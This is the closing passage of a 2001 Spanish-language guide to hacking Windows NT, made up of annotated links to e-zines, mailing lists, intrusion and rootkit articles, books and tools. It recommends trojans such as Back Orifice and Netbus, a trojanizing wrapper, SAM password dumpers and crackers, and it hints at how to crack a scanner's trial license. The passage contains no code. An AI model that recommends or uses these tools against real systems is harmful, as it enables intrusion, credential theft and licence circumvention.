[23] r00tshell: http://www.rootshell.com

[24] NT Bugtraq Known Exploits: http://www.ntbugtraq.com/ntexploits.htm

[25] ISS Security Library: http://www.iss.net/vd/nt_vulnerabilities.html

 

E-zines

[26] Phrack: http://phrack.infonexus.com

[27] The Havoc Technical Journal: http://www.technotronic.com/ezines

[28] Underground Periodical: http://packetstorm.securify.com

[29] Camarilla: http://packetstorm.securify.com

[30] Keen Veracity: packetstorm.securify.com

[31] Digital Defiance: http://www.hackernews.com

 

 

[ 25.2 - Listas de correo ]

-------------------------

- Nota: todos los mensajes que se deben mandar para subscribirse a las

siguientes listas de correo deben ser en texto sin formato y

sin asunto.

 

En espa~ol:

[32] Lista de argo.

Para subscribirse: Mail a majordomo@argo.es con el siguiente texto en

El cuerpo del mensaje: "subscribe hacking".

En ingles:

[33] Bugtraq.

Para subscribirse: Mail a listserv@securityfocus.com con el siguiente

texto en el cuerpo del mensaje: "subscribe bugtraq nombre apellido".

[34] NT Bugtraq.

Para subscribirse: Mail a listserv@listserv.ntbugtraq.com con el

siguiente texto en el cuerpo del mensaje: "subscribe ntbugtraq nombre

apellido".

[35] NT Security.

Para subscribirse: Mail a majordomo@iss.net con el siguiente texto en

El cuerpo del mensaje: "subscribe ntsecurity tu email".

 

 

[ 25.3 - Grupos de noticias ]

---------------------------

[36] Una-al-dia.

Grupo de noticias de hispasec (http://www.hispasec.com) que cada dia

manda una noticia referente a las novedades sobre seguridad

informatica que han acontecido.

 

 

[ 25.4 - Demas documentos en la red ]

-----------------------------------

[37] + Titulo: "Hacking NT"

+ Autor: Chessy.

+ Localizable en: http://www.set-ezine.org

+ Comentarios: Un documento regio, totalmente indispensable.

[38] + Titulo: "Hackejar Windows NT amb acces fisic a la maquina"

+ Autor: Alex Castan Salinas.

+ Localizable en: http://www.sindominio.net/cathack

+ Comentarios: Un muy buen documento que explica detalladamente los

metodos de hackeo fisico a NT.

[39] + Titulo: "Significado de NetBIOS"

+ Autor: {CyBoRg}

+ Localizable en: http://www.jjf.org

+ Comentarios: Un buen texto sobre NetBIOS que no deberiais pasar por

alto.

[40] + Titulo: "Mi amigo el IIS"

+ Autor: ThEye

+ Localizable en: http://fye_ezine.vicio.org

+ Comentarios: Estupendo documento que explica las opciones de IIS,

sus peculiariades, etc. De recomendada lectura.

[42] + Titulo: "Windows NT para Dummies"

+ Autor: PlaXiuS

+ Localizable en: http://www.cdlr.org

+ Comentarios: Para aquellos que empiecen a adentrarse en el mundo de

NT desde 0, encontraran aqui una valiosa referencia.

[43] + Titulo: "Como crear un servidor seguro con Windows NT"

+ Autor: PlaXiuS

+ Localizable en: http://www.cdlr.org

+ Comentarios: Aqui se explica detallademente como proteger un poquito

mas nuestro servidor NT. Bastante completito.

[44] + Titulo: "Como hackear servidores NT a traves de Internet"

+ Autor: PlaXiuS

+ Localizable en: http://www.cdlr.org

+ Comentarios: Un texto bastante majo que trata algunas tecnicas de

intrusion a NT a traves de internet.

[45] + Titulo: "Understanding Microsoft Proxy Server 2.0"

+ Autor: NeonSurge

+ Localizable en: http://rhino9.abyss.com

+ Comentarios: Un documento muy ilustrativo sobre Microsoft Proxy

Server 2.0. Muy bueno. En ingles.

[46] + Titulo: "IIS - Internet Information Server"

+ Autor: Nw2o

+ Localizable en: http://www.digitalrebel.net

+ Comentarios: Este documento explica algunas de las vulnerabilidades

de IIS. Bastante logrado.

[47] + Titulo: "Webeando con NETBIOS"

+ Autor: OFaDOWN

+ Localizable en: http://fye_ezine.vicio.org

+ Comentarios: Se explica un poco el funcionamiento de NetBIOS, como

atacarlo via NAT, y algunos comandos net.

[48] + Titulo: "Politicas del Windows NT"

+ Autor: EndlessRoad

+ Localizable en: http://warpedreality.com/inet

+ Comentarios: Un breve pero muy interesante texto sobre las politicas

de NT. De obligada lectura.

[49] + Titulo: "Mi amigo el registro"

+ Autor: Arcangnet

+ Localizable en: http://www.cdlr.org

+ Comentarios: Un texto muy logrado sobre la estructura del registro y

sus adentros.

[50] + Titulo: "Las posibilidades de Windows NT -primera parte-"

+ Autor: Azum Lord

+ Localizable en: http://raza-mexicana.org/raregazz/

+ Comentarios: Un documento que servira de guia para aquellos que no

sepan algunas de las acciones que Windows NT permite

hacer.

[51] + Titulo: "Las posibilidades de Windows NT -segunda parte-"

+ Autor: Azum Lord

+ Localizable en: http://raza-mexicana.org/raregazz/

+ Comentarios: Esta vez se muestran las posibilidades de hackeo a un

NT.

[52] + Titulo: "Seguridad en Windows NT"

+ Autor: Mr.Nexus

+ Localizable en: http://www.cdlr.org

+ Comentarios: Un completo texto que explica la mayor parte de metodos

de hackeo a un NT, tanto fisica como remota. De muy

recomendada lectura.

[53] + Titulo: "Microsoft Proxy Server 2.0"

+ Autor: Taker

+ Localizable en: http://www.cdlr.org

+ Comentarios: Un completo texto sobre el Ms Proxy Server 2.0. Para

aquellos que no pueden leer el texto de NeonSurge por

su idioma, o que quieren ampliar sus conocimientos.

[54] + Titulo: "NTFS"

+ Autor: Falken

+ Localizable en: http://www.set-ezine.org

+ Comentarios: Un buen texto que explica la estructura del NTFS de

forma clara. Muy recomendable.

[55] + Titulo: "A *REAL* NT Rootkit, patching the NT Kernel"

+ Autor: Greg Hoglund

+ Localizable en: http://phrack.infonexus.com/search.phtml?

view&article=p55-5

+ Comentarios: Un estupendo documento sobre como programar tus propios

Rootkits. Trata de cerca el kernel de NT, el modo

protegido del i386, etc. No tiene desperdicio. En

ingles.

[56] + Titulo: "a Quick nT Interrogation Probe (QTIP)"

+ Autor: twitch

+ Localizable en: http://phrack.infonexus.com/search.phtml?

view&article=p52-10

+ Comentarios: Gran documento sobre las sesiones nullas de Windows NT

y la tremenda informacion que a partir de este se puede

subsacar... incluye codigo fuente de un programa que

pone en practica lo dicho en el articulo para sacar

listas de usuarios de un sistema, recursos compartidos,

etc. En ingles.

[57] + Titulo: "NT Security - Frequently Asked Questions"

+ Autor: Dan Shearer, David LeBlanc, Larry Buickel, Mikko Hermanni

Hypponen, Patrik Carlsson, Paul Ashton, Carl Byington, Ondrej

Holas.

+ Localizable en: http://www.it.kth.se/rom/ntsec.html

+ Comentarios: Un documento totalmente imprescindible... En ingles.

[58] + Titulo: "Windows NT Deconstruction Tactics"

+ Autor: vacuum

+ Localizable en: http://packetstorm.securify.com/NT/docs/

NTexploits.txt

+ Comentarios: Un muy buen texto que recorre distintos metodos de hack

a NT. En ingles.

[59] + Titulo: "Windows NT Vulnerabilities Version 2"

+ Autor: Vacuum y Chame|eon

+ Localizable en: http://www.technotronic.com

+ Comentarios: Version ampliada del anterior documento. Muy completo.

En ingles.

[60] + Titulo: "Cracking NT Passwords"

+ Autor: Nihil

+ Localizable en: http://phrack.infonexus.com/search.phtml?

view&article=p50-8

+ Comentarios: Un documento muy logrado acerca de como crackear los

passwords de NT. En el se explican tecnicas de

programacion para ello, entre otras cosas. Incluye

codigo fuente de su programa para crackear las SAM. En

ingles.

[61] + Titulo: "Win32 Buffer Overflows (Location, Exploitation and

Prevention)"

+ Autor: dark spyrit

+ Localizable en: http://phrack.infonexus.com/search.phtml?

view&article=p55-15

+ Comentarios: Pedazo de documento, en el que se explica la

programacion de BOFS para NT. Es una de las guias de

BOFS en NT mas completa. En ingles.

[62] + Titulo: "Aprovechando Buffer Overflows en Windows NT 4"

+ Autor: Mnemonix

+ Localizable en: http://www.infowar.co.uk/mnemonix

+ Comentarios: Otra genialidad de texto acerca de los BOFS para NT.

Se incluyen los ejemplos del Rasman y del Winhlp32. En

ingles.

[63] + Titulo: "NetBIOS: Jugando con Windows NT/2000"

+ Autor: ZeroXT

+ Localizable en: http://www.networking-center.org/2500hz/zip/

netbios.zip

+ Comentarios: Un buen texto donde se muestra informacion tecnica

sobre NetBIOS, asi como un caso real de hack con las

herramientas NAT, Sid2user, User2sid... muy logrado.

[64] + Titulo: "Details About NULL Sessions"

+ Autor: JD Glaser

+ Localizable en: http://packetstorm.securify.com/NT/docs/

null.sessions.html

+ Comentarios: Se ense~a como aprovecharnos de las sesiones nulas de

NT para sacar informacion interesante. Se incluye el

codigo fuente de un programa que saca el verdadero

nombre de la cuenta de administrador. En ingles.

[65] + Titulo: "Securing IIS by breaking"

+ Autor: Mount Ararat Blossom

+ Localizable en: http://www.securityfocus.com/templates/archive.pike?

list=2&mid=140239

+ Comentarios: Un muy completo texto sobre el hackeo a IIS. Trata la

gran mayoria de bugs para IIS. Excelente. En ingles.

[66] + Titulo: "Hacking MS SQL Servers for fun & profit"

+ Autor: Mount Ararat Blossom

+ Localizable en: http://www.securityfocus.com/templates/archive.pike?

list=101&mid=144598

+ Comentarios: Gran texto que explica como hackear servidores SQL de

forma remota. Muy bueno. En ingles.

[67] + Titulo: "Windows NT Security Identifiers"

+ Autor: Mnemonix

+ Localizable en: http://packetstorm.securify.com/NT/docs/sid.htm

+ Comentarios: Buen texto que explica los identificadores de seguridad

de NT, asi como ejemplos del uso de user2sid y

sid2user. En ingles.

[68] + Titulo: "Nt Web server - Security Issues"

+ Autor: La empresa "Telemark Systems"

+ Localizable en: http://www.telemark.net/~randallg/ntsecure.htm

+ Comentarios: Muy buen texto sobre como proteger tu servidor web NT.

Altamente recomendable. En ingles.

[69] + Titulo: "The Unnofficial NT Hack FAQ"

+ Autor: Simple Nomad

+ Localizable en: http://www.nmrc.org/faqs/nt/

+ Comentarios: Un completisimo FAQ acerca del hack a NT. Realmente muy

logrado. En ingles.

[70] + Titulo: "Active Directory"

+ Autor: kamborio

+ Localizable en: http://www.networking-center.org/logs/2000/

l24_06_2000.zip

+ Comentarios: Charla en la que se explica que es y para que sirve el

Active Directory, elemento estrella de Windows 2000.

[71] + Titulo: "Active Directory 2"

+ Autor: satch

+ Localizable en: http://www.networking-center.org/logs/2000/

AD2-satch-%5B25-11-2000%5D-Log.zip

+ Comentarios: Charla que profundiza mas en Active Directory.

[72] + Titulo: "Servidores Telnet bajo W2K"

+ Autor: kamborio

+ Localizable en: http://www.networking-center.org/logs/

2000/l20_05_2000.zip

+ Comentarios: Una buena charla que ense~a la administracion de los

servidores telnet de Windows 2000.

[73] + Titulo: "Migracion de Windows NT a Windows 2000"

+ Autor: satch

+ Localizable en: http://www.networking-center.org/logs/2000/

l08_04_2000.zip

+ Comentarios: Aqui se nos muestran las diferencias mas significativas

que hay entre NT4 y W2K. Muy interesante.

[74] + Titulo: "Windows 2000. Administracion"

+ Autor: kamborio

+ Localizable en: http://www.networking-center.org/logs/2000/

l29_04_2000.zip

+ Comentarios: Una charla muy interesante sobre la administracion de

W2K. Recomendada.

[75] + Titulo: "Hacking BIOS"

+ Autor: Alex Castan Salinas

+ Localizable en: http://www.sindominio.net/cathack

+ Comentarios: Un muy buen texto acerda de como hackear la BIOS.

Realmente muy interesante.

 

 

[ 25.5 - Bibliografia ]

---------------------

[76] + Titulo: "A prueba de Hackers"

+ Autor/a: Lars Klander

+ Editorial: Anaya multimedia

+ ISBN: 84-415-0582-9

+ Comentarios: Un buen libro que engloba varios aspectos sobre

seguridad informatica, entre ellos la seguridad en NT.

Se dedican 36 paginas la seguridad en NT. Breve pero

intenso. Recomendado.

[77] + Titulo: "Hackers. Secretos y soluciones para la seguridad de redes"

+ Autor/a: Stuart McClure, Joel Sambray y George Kurtz.

+ Editorial: McGraw-Hill.

+ ISBN: 84-481-2786-2

+ Comentarios: Un muy buen libro que trata los distintos pasos que se

suelen llevar a cabo antes de una intrusion. Incluye 61

paginas sobre hack a NT, 17 paginas sobre hack a W2K, y

21 paginas sobre hack a Windows 95/98. Un libro muy

completo, recomendado.

[78] + Titulo: "Windows 2000 Server. Administracion y control"

+ Autor/a: Kenneth L. Spencer, Marcus Goncalves.

+ Editorial: Prentice Hall.

+ ISBN: 84-481-2786-2

+ Comentarios: Un bien libro sobre como administrar una maquina con

W2K Server. Explica detalladamente las novedades que

incorpora respecto a NT 4.0. Merece la pena.

 

 

[ 25.6 - Herramientas ]

---------------------

[79] Back Oriffice: Uno de los mejores troyanos para NT. Ademas es free

source. Puedes bajarlo desde la web de cDc:

http://www.cultdeadcow.com.

[80] BlackICE Pro: Herramienta IDS. Puedes bajarlo en http://www.netice.com

[81] BootAdmin: Sencilla aplicacion que permite apagar las maquinas NT en

las cuales tengas privilegios de administrador o de alguna

cuenta que permita apagar una maquina NT remotamente. Lo

podras encontrar en: http://www.bhs.com.

[82] Centrax: Herramienta IDS. Disponible en http://www.cybersafe.com

[83] CyberCop Server: Herramienta IDS. Disponible en http://www.nai.com

[84] Desktop Sentry: Herramienta IDS. Disponible en

http://www.ntobjectives.com

[85] DumpACL: Buena herramienta que enumera los servicios y controladores

activos en el sistema, aparte de poder comprobar los permisos

en El registro, sus recursos compartidos, etc. Disponible en

http://38.15.19.115/ftp/dumpacl.zip

[86] eLiTeWrap: Herramienta para fusionar dos o mas archivos en uno,

pudiendo troyanizar aplicaciones facil y rapidamente. La

puedes descargar desde

http://www.multimania.com/trojanbuster/elite.zip

[87] Essential NetTools: Una estupenda herramienta que permite enumerar

mucha informacion del sistema objetivo, de manera

visual. Se encuentra en

ftp://ftp.tamos.com/esstls2.zip

[88] Grinder: Buen programa para enumerar las paginas web/scripts de una

maquina. Disponible en http://

[89] Intact: Herramienta IDS. Localizable en

http://www.pedestalsoftware.com

[90] Intrude Alert: Herramienta IDS. Disponible en http://www.axent.com

[91] Kane Security Monitor: Herramienta IDS. La podras localizar en

http://www.securitydynamics.com

[92] Legion: Enumera los recursos compartidos de una o varias maquinas,

ya que escanea rangos de IP de clase C. Puedes descargarlo

desde http://www.technotronic.com/rhino9

[93] L0pht Crack: A mi juicio, el mejor crackeador de SAM. Lo malo es que

es shareware... 15 dias de trial... te lo puedes bajar de

http://www.l0pht.com

[94] NAT: Muy buena herramienta para auditar las contrase~as de los

recursos Netbios, usando ataques de diccionario. Puedes bajarla

desde ftp://ftp.technotronic.com/microsoft/nat10bin.zip

[95] Netbus: Troyano capaz de correr en NT... no es el mejor pero merece

el que le echeis un vistazo. Se encuentra en

http://www.netbus.org

[96] Netcat: Que se puede decir de netcat que no se haya dicho ya?... la

navaja suiza del tcp/ip... se puede usar perfectamente como

troyano. Puedes bajarlo desde http://www.l0pht.com/netcat.

Para los que quieran saber como usarlo, pueden encontrar un

documento de hven en la web de hven, mas concretamente en

http://www.hven.com.ve/seguridad/netcat.txt

[97] Netviewx: Aplicacion para listar servidores un un dominio o grupo de

trabajo ejecutando servicion determinados. Puedes bajarla en

http://www.ibt.ku.dk/jesper/NetViewX/default.htm.

[98] NTFSDOS: Utilidad que permite leer NTFS. Si no fuera por esta

herramienta no estariais ahora leyendo esto... ante

catastrofes con NT ayuda bastante. Puedes encontrarlo en

http://www.sysinternals.com.

[99] Pwdump2: Aplicacion que vuelva los hashes del SAM de NT del campo de

contrase~a, este o no Syskey activado (syskey segun Microsoft

impide que se desencripten las contrase~as... humm...). Trae

importantes mejores respecto a su version anterior, que

podreis encontrar en http://www.webspan.net/~tas/pwdump2/ ,

donde en la parte inferior tendreis los links a las dos

versiones de Pwdump2.

[100] RealSecure: Herramienta IDS. Puedes encontrarla en http://www.iss.net

[101] Retina: Uno de los mejores escaners de vulnerabilidades en NT. Se

tienen 30 dias de prueba... a no ser que logreis crackearlo,

claro. Una pista, paseaos por el registro y buscad la cadena

"key". Puedes bajarlo desde http://www.eeye.com.

[102] Revelation: Saca los passwords en texto plano del campo de contrase~a

de la GUI de NT y la familia windows, los cuales cambian

cada caracter por un asterisco. Esto solo funcionara en

determinadas aplicaciones. Puedes encontrarlo en

http://www.snadboy.com.

[103] SeNTry: Herramienta IDS. Puedes encontrarla en

http://www.missioncritical.com

[104] SessionWall-3: Herramienta IDS. Localizable en http://www.platinum.com

[105] Sid2User: Encuentra usuarios a partir del SID obtenido con User2Sid.

Puedes encontrarlo en

http://www.chem.msu.su:8080/~rudnyi/NT/sid.txt

[106] Tripwire: Herramienta IDS. Disponible en

http://www.tripwiresecurity.com

[107] User2Sid: Identifica el SID de un dominio. Puedes encontrarlo en

http://www.chem.msu.su:8080/~rudnyi/NT/sid.txt

[108] VNC: De el hemos hablado anteriormente, asi que no hay mucho mas que

decir, tan solo repetir que lo puedes encontrar en

http://www.uk.research.att.com/vnc.

 

 

[ 26 - Ultimas palabras y conclusion final ]

------------------------------------------

Como se ha visto a lo largo de este documento, NT posee una gran cantidad

de agujeros de seguridad que pueden comprometer la integridad de todo el

sistema. NT no es un sistema seguro... pero que sistema es realmente seguro?

exceptuando a plan9, todavia en construccion, Windows NT es tan seguro o mas

que los demas sistemas operativos de servidor que estan en el mercado. Puede

que algun LiNUX lover vea esta comparacion con cierto recelo, pero solo hace

falta ver la seccion de vulnerabilidades de security focus para comparar. Y

no, no estoy entrando en las tipicas OS Wars. Cada sistema operativo vale

para algo; escoge el que mas te guste, y Carpe Diem.

Y con esta peque~a reflexion llegamos al final del documento. Espero que

no se os haya hecho demasiado pesado para leer y que hayais aprendido algo

con el.

 

Un saludo,

- Tahum, 2001.

 

*EOF*


tugurium
Recopilado por: José-Luis Prieto